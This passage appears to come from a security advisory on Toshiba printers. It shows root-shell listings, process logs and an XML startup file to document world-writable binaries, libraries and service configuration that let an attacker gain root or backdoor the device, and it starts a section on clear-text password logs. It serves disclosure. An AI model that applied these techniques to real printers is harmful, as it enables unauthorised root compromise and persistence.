lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqcs -> ../../thirdparty/bin/nqcs
lrwxrwxrwx 1 root root 25 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/nqnd -> ../../thirdparty/bin/nqnd
lrwxrwxrwx 1 root root 30 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/slapd -> ../../thirdparty/libexec/slapd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/snmpd -> ../../thirdparty/sbin/snmpd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/vsftpd -> ../../thirdparty/bin/vsftpd
lrwxrwxrwx 1 root root 27 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python -> ../../thirdparty/bin/python

bash-4.1# for i in dibbler-client alipp mDNSResponderPosix nqcs nqnd vsftpd python; do ls -la /home/SYSROM_SRC/build/thirdparty/bin/$i;done
<font color=red>-rwxrwxrwx 1 root root 11339780 Dec  6 01:38 /home/SYSROM_SRC/build/thirdparty/bin/dibbler-client
-rwxrwxrwx 1 apache messagebus 653763 Dec  6 01:40 /home/SYSROM_SRC/build/thirdparty/bin/alipp
-rwxrwxrwx 1 root root 429709 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/bin/mDNSResponderPosix
-rwxrwxrwx 1 apache messagebus 1342015 Dec  6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqcs
-rwxrwxrwx 1 apache messagebus 501752 Dec  6 01:35 /home/SYSROM_SRC/build/thirdparty/bin/nqnd
-rwxrwxrwx 1 root root 232030 Dec  6 01:34 /home/SYSROM_SRC/build/thirdparty/bin/vsftpd</font>
lrwxrwxrwx 1 root root 7 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python -> python3
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/libexec/slapd
<font color=red>-rwxrwxrwx 1 root root 1709140 Dec  6 01:34 /home/SYSROM_SRC/build/thirdparty/libexec/slapd</font>
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/sbin/snmpd
<font color=red>-rwxrwxrwx 1 apache messagebus 41801 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/sbin/snmpd</font>
bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/python3
lrwxrwxrwx 1 root root 28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/python3 -> ../../thirdparty/bin/python3
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3
lrwxrwxrwx 1 root root 9 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/python3 -> python3.5
bash-4.1# ls -la /home/SYSROM_SRC/build/thirdparty/bin/python3.5
<font color=red>-rwxrwxrwx 1 root root 20997 Dec  6 01:28 /home/SYSROM_SRC/build/thirdparty/bin/python3.5</font>
bash-4.1#
</pre>

<p>An attacker can remotely compromise any Toshiba printer.</p>
<p>The programs can be replaced by malicious programs by any local or remote attacker.</p>
<p><a id="lpe-rce-libs"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using insecure permissions for libraries</h2>
<p>Some vendor-specific programs are running inside Toshiba printers. These programs run as root and use code from libraries that have insecure permissions (777) allowing an attacker to replace these libraries with malicious ones. This Local Privilege Escalation can be also exploited as a Remote Code Execution by uploading a malicious library using the <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> vulnerability.</p>
<p>For example, the <code>/home/SYSROM_SRC/bin/syscallerr</code> program runs regularly as root:</p>
<p><a id="lpe-rce-syscallerr"></a></p>
<h3>Example with <code>/home/SYSROM_SRC/bin/syscallerr</code>:</h3>
<p>Output of <code>pspy32</code>, where we can see <code>/home/SYSROM_SRC/bin/syscallerr</code> running regularly as root:</p>
<pre>
2023/05/27  16:13:35 CMD: UID=0     PID=31370  | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27  16:13:35 CMD: UID=0     PID=31373  | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27  16:13:35 CMD: UID=0     PID=31372  | grep total
2023/05/27  16:13:35 CMD: UID=0     PID=31371  | sh -c du -cb /work/log/corefiles/core.* 2> /dev/null | grep total | awk '{print $1}'
2023/05/27  16:13:35 CMD: UID=0     PID=31374  | /home/SYSROM_SRC/bin/syscallerr
2023/05/27  16:13:35 CMD: UID=0     PID=31376  | awk {print}
2023/05/27  16:13:35 CMD: UID=0     PID=31375  |
2023/05/27  16:13:35 CMD: UID=0     PID=31377  | sh -c ps -e | grep ebx_dl
2023/05/27  16:13:35 CMD: UID=0     PID=31379  | grep ebx_dl
2023/05/27  16:13:35 CMD: UID=0     PID=31378  | ps -e
<font color=red>2023/05/27  16:13:35 CMD: UID=0     PID=31380  | /home/SYSROM_SRC/bin/syscallerr</font>
2023/05/27  16:13:35 CMD: UID=0     PID=31383  | sh -c ps -e | grep ebx_dl | awk '{print $5}'
2023/05/27  16:13:35 CMD: UID=0     PID=31382  |
2023/05/27  16:13:35 CMD: UID=0     PID=31381  | ps -e
2023/05/27  16:13:35 CMD: UID=0     PID=31384  | sh -c ps -e | grep cissm
2023/05/27  16:13:35 CMD: UID=0     PID=31386  | grep cissm
2023/05/27  16:13:35 CMD: UID=0     PID=31385  | ps -e
2023/05/27  16:13:35 CMD: UID=0     PID=31387  | sh -c dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL > /dev/null 2>&1
2023/05/27  16:13:35 CMD: UID=0     PID=31388  | dd if=/dev/mtdblock1 of=/ramdisk/FROM_SERIAL
2023/05/27  16:13:35 CMD: UID=0     PID=31389  | sh -c ps -e | grep ebx_dl
2023/05/27  16:13:35 CMD: UID=0     PID=31391  | grep ebx_dl
</pre>

<p>When analyzing this program, we can find several shared libraries that will be loaded - their code will be executed as root.</p>
<p>We can find the previously vulnerable shared libraries defined with LD_PRELOAD:</p>
<ul>
<li><code>/ramdisk/al/libGetNameInfoInterface.so</code></li>
<li><code>/ramdisk/al/libGetAddtInfoInterface.so</code></li>
</ul>
<p>We can also find several libraries that are being loaded:</p>
<pre><code>bash-4.1# ldd /home/SYSROM_SRC/bin/syscallerr
        linux-gate.so.1 =&gt;  (0x777c0000)
        /ramdisk/al/libGetNameInfoInterface.so (0x777b1000)
        /ramdisk/al/libGetAddtInfoInterface.so (0x777a0000)
        libpthread.so.0 =&gt; /lib/libpthread.so.0 (0x77780000)
        libsqlite3.so.0 =&gt; /usr/lib/libsqlite3.so.0 (0x4be4c000)
        libciindexeddb.so =&gt; /home/SYSROM_SRC/build/release/lib/libciindexeddb.so (0x77729000)
        libsyscallerr.so =&gt; /home/SYSROM_SRC/build/release/lib/libsyscallerr.so (0x77720000)
        libcios.so =&gt; /home/SYSROM_SRC/build/release/lib/libcios.so (0x776ad000)
        libatawrapper.so.0 =&gt; /mfp/lib/libatawrapper.so.0 (0x7768b000)
        libmfpcommonwrapper.so.0 =&gt; /mfp/lib/libmfpcommonwrapper.so.0 (0x77682000)
        libcrypto.so.1.0.0 =&gt; /home/SYSROM_SRC/build/release/lib/libcrypto.so.1.0.0 (0x77420000)
        libstdc++.so.6 =&gt; /usr/lib/libstdc++.so.6 (0x4c04f000)
        libgcc_s.so.1 =&gt; /lib/libgcc_s.so.1 (0x4c14b000)
        libintlc.so.5 =&gt; /usr/lib/libintlc.so.5 (0x773c3000)
        libsvml.so =&gt; /mfp/lib/libsvml.so (0x76ba9000)
        libc.so.6 =&gt; /lib/libc.so.6 (0x4bc67000)
        libdl.so.2 =&gt; /lib/libdl.so.2 (0x4bdaf000)
        libllmnrclient.so =&gt; /home/SYSROM_SRC/build/release/lib/libllmnrclient.so (0x76b95000)
        /lib/ld-linux.so.2 (0x4bc47000)
        libsqlite.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libsqlite.so.0 (0x76b35000)
        libcpanel.so.0 =&gt; /mfp/lib/libcpanel.so.0 (0x76b0e000)
        libcimsg.so =&gt; /home/SYSROM_SRC/build/release/lib/libcimsg.so (0x76b02000)
        libcissmclient.so =&gt; /home/SYSROM_SRC/build/release/lib/libcissmclient.so (0x76ae8000)
        libacl.so.1 =&gt; /lib/libacl.so.1 (0x4bdd7000)
        librt.so.1 =&gt; /lib/librt.so.1 (0x4be15000)
        libm.so.6 =&gt; /lib/libm.so.6 (0x76abf000)
        libssdk.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libssdk.so.0 (0x75f1e000)
        libcihdb.so =&gt; /home/SYSROM_SRC/build/release/lib/libcihdb.so (0x75e56000)
        libattr.so.1 =&gt; /lib/libattr.so.1 (0x4bdd0000)
        libpam.so.0 =&gt; /lib/libpam.so.0 (0x75e4a000)
        libldap-2.4.so.2 =&gt; /home/SYSROM_SRC/build/release/lib/libldap-2.4.so.2 (0x75e12000)
        libssl.so.1.0.0 =&gt; /home/SYSROM_SRC/build/release/lib/libssl.so.1.0.0 (0x75da6000)
        libk5crypto.so.3 =&gt; /usr/lib/libk5crypto.so.3 (0x75d84000)
        libresolv.so.2 =&gt; /lib/libresolv.so.2 (0x4c164000)
        libext2fs.so.2 =&gt; /usr/lib/libext2fs.so.2 (0x75d5a000)
        libuuid.so.1 =&gt; /usr/lib/libuuid.so.1 (0x4be0f000)
        libkrb5support.so.0 =&gt; /usr/lib/libkrb5support.so.0 (0x75d53000)
        libkrb5.so.25 =&gt; /home/SYSROM_SRC/build/release/lib/libkrb5.so.25 (0x75ce2000)
        libgssapi.so.2 =&gt; /home/SYSROM_SRC/build/release/lib/libgssapi.so.2 (0x75cae000)
        libCryptolib.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libCryptolib.so.0 (0x75c2b000)
        libirng.so =&gt; /usr/lib/libirng.so (0x75c22000)
        libcilkrts.so.5 =&gt; /usr/lib/libcilkrts.so.5 (0x75bee000)
        libexpat.so.1 =&gt; /usr/lib/libexpat.so.1 (0x4c403000)
        libcrypt.so.1 =&gt; /lib/libcrypt.so.1 (0x75bbc000)
        liblber-2.4.so.2 =&gt; /home/SYSROM_SRC/build/release/lib/liblber-2.4.so.2 (0x75bb0000)
        libsasl2.so.2 =&gt; /home/SYSROM_SRC/build/release/lib/libsasl2.so.2 (0x75b8c000)
        libcom_err.so.2 =&gt; /usr/lib/libcom_err.so.2 (0x4bdee000)
        libhx509.so.5 =&gt; /home/SYSROM_SRC/build/release/lib/libhx509.so.5 (0x75b4b000)
        libheimsqlite.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libheimsqlite.so.0 (0x75ad7000)
        libhcrypto.so.4 =&gt; /home/SYSROM_SRC/build/release/lib/libhcrypto.so.4 (0x75aa4000)
        libasn1.so.8 =&gt; /home/SYSROM_SRC/build/release/lib/libasn1.so.8 (0x75a02000)
        libwind.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libwind.so.0 (0x759da000)
        libcom_err.so.1 =&gt; /home/SYSROM_SRC/build/release/lib/libcom_err.so.1 (0x759d6000)
        libroken.so.18 =&gt; /home/SYSROM_SRC/build/release/lib/libroken.so.18 (0x759c2000)
        libheimntlm.so.0 =&gt; /home/SYSROM_SRC/build/release/lib/libheimntlm.so.0 (0x759bc000)
bash-4.1#
</code></pre>
<p>We can find these 31 insecure libraries:</p>
<ul>
<li>/home/SYSROM_SRC/build/release/lib/libciindexeddb.so.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libsyscallerr.so.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libcios.so.0</li>
<li>/mfp/lib/libatawrapper.so.0.0</li>
<li>/mfp/lib/libmfpcommonwrapper.so.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libcrypto.so.1.0.0</li>
<li>/mfp/lib/libsvml.so</li>
<li>/home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6</li>
<li>/mfp/lib/libcpanel.so.0.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libcimsg.so.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6</li>
<li>/home/SYSROM_SRC/build/release/lib/libcimsg.so.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libcissmclient.so.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0</li>
<li>/home/SYSROM_SRC/build/release/lib/libcihdb.so.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libgssapi.so.2.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0</li>
<li>/home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0</li>
<li>/home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/liblber-2.4.so.2.5.6</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0</li>
<li>/home/SYSROM_SRC/build/thirdparty/lib/libheimntlm.so.0.1.0</li>
</ul>
<p>The permissions of these libraries are insecure. A remote attacker can overwrite them and achieve Remote Code Execution:</p>
<pre><font color=red>-rwxrwxrwx 1 root root 322261 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libciindexeddb.so.0
-rwxrwxrwx 1 root root 343680 Dec  6 01:48 /home/SYSROM_SRC/build/release/lib/libsyscallerr.so.0
-rwxrwxrwx 1 root root 566991 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libcios.so.0
-rwxrwxrwx 1 root root 139986 Sep 19  2019 /mfp/lib/libatawrapper.so.0.0
-rwxrwxrwx 1 root root 38330 May 28  2019 /mfp/lib/libmfpcommonwrapper.so.0.0
-rwxrwxrwx 1 apache messagebus 2765203 Dec  6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libcrypto.so.1.0.0
-rwxrwxrwx 1 root root 9479623 Apr 25  2014 /mfp/lib/libsvml.so
-rwxrwxrwx 1 root root 95211 Dec  6 02:00 /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
-rwxrwxrwx 1 root root 744984 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
-rwxrwxrwx 1 root root 48131 Apr  8  2019 /mfp/lib/libcpanel.so.0.0
-rwxrwxrwx 1 root root 58976 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
-rwxrwxrwx 1 root root 744984 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libsqlite.so.0.8.6
-rwxrwxrwx 1 root root 58976 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
-rwxrwxrwx 1 root root 127850 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libcissmclient.so.0
-rwxrwxrwx 1 root root 14101772 Dec  6 01:40 /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
-rwxrwxrwx 1 root root 909064 Dec  6 01:41 /home/SYSROM_SRC/build/release/lib/libcihdb.so.0
-rwxrwxrwx 1 root root 269392 Dec  6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
-rwxrwxrwx 1 apache messagebus 485480 Dec  6 01:28 /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
-rwxrwxrwx 1 root   root       251701 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libgssapi.so.2.0.0
-rwxrwxrwx 1 root root 539700 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
-rwxrwxrwx 1 root root 624082 Dec  6 04:53 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0
-rwxrwxrwx 1 root root 624082 Apr 20  2018 /home/SYSROM_SRC/NoBuildItems/common/lib/libCryptolib.so.0.0.0
-rwxrwxrwx 1 root root 60708 Dec  6 01:34 /home/SYSROM_SRC/build/thirdparty/lib/liblber-2.4.so.2.5.6
-rwxrwxrwx 1 root root 324233 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
-rwxrwxrwx 1 root root 525228 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
-rwxrwxrwx 1 root root 225346 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
-rwxrwxrwx 1 root root 759349 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
-rwxrwxrwx 1 root root 166289 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
-rwxrwxrwx 1 root root 14571 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
-rwxrwxrwx 1 root root 92942 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
-rwxrwxrwx 1 root root 24134 Dec  6 01:27 /home/SYSROM_SRC/build/thirdparty/lib/libheimntlm.so.0.1.0
</font></pre>

<p>An attacker can remotely compromise any Toshiba printer.</p>
<p>The libraries (more than hundreds) used by these programs can be replaced by malicious libraries by any local or remote attacker.</p>
<p><a id="lpe-rce-cissm"></a></p>
<h2>Details - Local Privilege Escalation and Remote Code Execution using CISSM</h2>
<p>It was observed that the <code>cissm</code> program runs as root inside the printers. This Toshiba-specific program will start children processes as shown below, based on the content of the <code>/home/SYSROM_SRC/build/common/bin/ssm.xml</code> XML file stored in the printer:</p>
<pre><code>bash-4.1# ps auxw | grep cissm
root      1487  0.0  0.3  53496 10184 ?        Sl   16:34   0:02 ./cissm -T 7 -d ssm.xml
bash-4.1# pstree
[...]
     |-cissm-+-alAddressBookMg
     |       |-alCloning
     |       |-alExportImport
     |       |-alLogRetriever
     |       |-alLogmanager---{alLogmanager}
     |       |-alPanelStartLED---{alPanelStartLE}
     |       |-alPanelUIMessag---{alPanelUIMessa}
     |       |-alServiceUIPlug
     |       |-alUiFrameWork---24*[{alUiFrameWork}]
     |       |-alViewPlugin---3*[{alViewPlugin}]
     |       |-alaccountmgr---2*[{alaccountmgr}]
     |       |-alappmanager-+-2*[python---5*[{python}]]
     |       |              `-15*[{alappmanager}]
     |       |-alboserver---7*[{alboserver}]
     |       |-alcbamanager---26*[{alcbamanager}]
     |       |-aldevauthmgmtpl
     |       |-aldeviceconfigp
     |       |-aldeviceservice---{aldeviceservic}
     |       |-aleFilingmgr
     |       |-alfilestoragem
     |       |-algrpmgr
     |       |-alhddalertmgr
     |       |-alhddbackuprest
     |       |-alhomedatamgr
     |       |-alifaxreceive
     |       |-alintegritychkm
     |       |-aljobcontroller---8*[{aljobcontrolle}]
[...]
</code></pre>
<p>The XML configuration file used by cissm is located at <code>/home/SYSROM_SRC/build/thirdparty/bin/ssm.xml</code> and has insecure permissions:</p>
<pre><code>bash-4.1# ls -la /home/SYSROM_SRC/build/release/bin/ssm.xml /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml /home/SYSROM_SRC/build/common/bin/ssm.xml
-rwxrwxrwx 1 root root 55245 Oct  7  2021 /home/SYSROM_SRC/build/common/bin/ssm.xml
lrwxrwxrwx 1 root root    28 Mar 14 16:27 /home/SYSROM_SRC/build/release/bin/ssm.xml -&gt; ../../thirdparty/bin/ssm.xml
lrwxrwxrwx 1 root root    24 Mar 14 16:27 /home/SYSROM_SRC/build/thirdparty/bin/ssm.xml -&gt; ../../common/bin/ssm.xmlroot
</code></pre>
<p>This file is used to run program as root when the printer starts and can be used to redefine any program running as root when the printer boots. This program also runs every 3 minute.</p>
<p>An attacker can remotely write an additional entry to start a malicious command that will be executed as root when the printer boots:</p>
<p>Content of <code>/home/SYSROM_SRC/build/common/bin/ssm.xml</code>:</p>
<pre><code>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;SSM xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../../../LayerInterface/CI/ServiceStartupManager/SSM.xsd"&gt;
    &lt;!-- Start: CI Layer services --&gt;
    &lt;Service&gt;
        &lt;name&gt;cischeduler&lt;/name&gt;
        &lt;group/&gt;
        &lt;exePath&gt;./cischeduler&lt;/exePath&gt;
        &lt;startupType&gt;Automatic&lt;/startupType&gt;
        &lt;enabled&gt;1&lt;/enabled&gt;
        &lt;ProcessGroup&gt;TRUSTED&lt;/ProcessGroup&gt;
        &lt;StartParameters&gt;
            &lt;Param&gt;-S&lt;/Param&gt;
            &lt;Param&gt;ramdisk&lt;/Param&gt;
            &lt;Param&gt;&amp;gt;&lt;/Param&gt;
            &lt;Param&gt;/work/log/ci/cischeduler.log&lt;/Param&gt;
        &lt;/StartParameters&gt;      
    &lt;/Service&gt;
    &lt;Service&gt;
        &lt;name&gt;cipollproc&lt;/name&gt;
        &lt;group/&gt;
        &lt;exePath&gt;./cipollproc&lt;/exePath&gt;
        &lt;startupType&gt;Automatic&lt;/startupType&gt;
        &lt;enabled&gt;1&lt;/enabled&gt;
        &lt;ProcessGroup&gt;TRUSTED&lt;/ProcessGroup&gt;
        &lt;StartParameters&gt;
            &lt;Param&gt;&amp;gt;&lt;/Param&gt;
            &lt;Param&gt;/work/log/ci/cipollproc.log&lt;/Param&gt;
        &lt;/StartParameters&gt;
        &lt;StartupCondition&gt;
            &lt;Condition&gt;
                &lt;Service name="cischeduler" state="Ready"&gt;&lt;/Service&gt;
            &lt;/Condition&gt;
        &lt;/StartupCondition&gt;
    &lt;/Service&gt;
    [...]
</code></pre>
<p>Analysis of <code>pspy32</code> running on the printer:</p>
<pre>
2023/05/27 20:32:43 CMD: UID=0     PID=4228   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:43 CMD: UID=0     PID=4229   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:46 CMD: UID=0     PID=4230   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:46 CMD: UID=0     PID=4231   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:50 CMD: UID=0     PID=4232   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:50 CMD: UID=0     PID=4233   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:53 CMD: UID=0     PID=4234   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:53 CMD: UID=0     PID=4235   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:32:56 CMD: UID=0     PID=4236   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
<font color=red>2023/05/27 20:32:56 CMD: UID=0     PID=4237   | ./cissm -T 7 -d ssm.xml</font>
2023/05/27 20:32:56 CMD: UID=0     PID=4238   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
[...]
<font color=red>2023/05/27 20:35:26 CMD: UID=0     PID=4393   | ./cissm -T 7 -d ssm.xml</font>
[...]
<font color=red>2023/05/27 20:37:56 CMD: UID=0     PID=4532   | ./cissm -T 7 -d ssm.xml</font>
[...]
<font color=red>2023/05/27 20:39:56 CMD: UID=0     PID=4676   | ./cissm -T 7 -d ssm.xml</font>
[...]
2023/05/27 20:42:19 CMD: UID=0     PID=4831   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:19 CMD: UID=0     PID=4832   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:22 CMD: UID=0     PID=4833   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:22 CMD: UID=0     PID=4834   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:25 CMD: UID=0     PID=4835   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:25 CMD: UID=0     PID=4836   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
<font color=red>2023/05/27 20:42:26 CMD: UID=0     PID=4837   | ./cissm -T 7 -d ssm.xml</font>
2023/05/27 20:42:27 CMD: UID=0     PID=4839   | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax" 
2023/05/27 20:42:27 CMD: UID=0     PID=4838   | sh -c ps -eo stat,comm | grep -e "^Z.*agent" -e "^Z.*ebx_dl" -e "^Z.*de_ipfax" 
2023/05/27 20:42:29 CMD: UID=0     PID=4840   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:29 CMD: UID=0     PID=4841   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:32 CMD: UID=0     PID=4842   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi 
2023/05/27 20:42:32 CMD: UID=0     PID=4843   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh && chmod +x /root/sshd_start.sh && /root/sshd_start.sh && rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
[...]
</pre>

<p>An attacker can remotely compromise any Toshiba printer.</p>
<p>The <code>/home/SYSROM_SRC/build/common/bin/ssm.xml</code> configuration file can be replaced by any local or remote attacker to run any malicious program as root when the printer starts.</p>
<p>Attackers can backdoor the printer.</p>
<p><a id="passwords-logs"></a></p>
<h2>Details - Passwords stored in clear-text logs and insecure logs</h2>
<p>It was observed that passwords are stored in clear-text logs.</p>
<p>Some logs are stored inside the <code>/ramdisk/work/log/al</code> directory with insecure permissions, allowing any local attacker to read and modify these files:</p>
<pre><code>bash-4.1# ls -laR /ramdisk/work/log/al/*
-rw-rw-rw- 1 root trusted  42678 May 23 16:10 /ramdisk/work/log/al/accounting.log.0.txt
-rw-rw-rw- 1 root trusted   2228 May 23 15:14 /ramdisk/work/log/al/address.log.0.txt
-rw-rw-rw- 1 root trusted   6877 May 23 15:16 /ramdisk/work/log/al/alPanelStartLEDHandler.log.0.txt
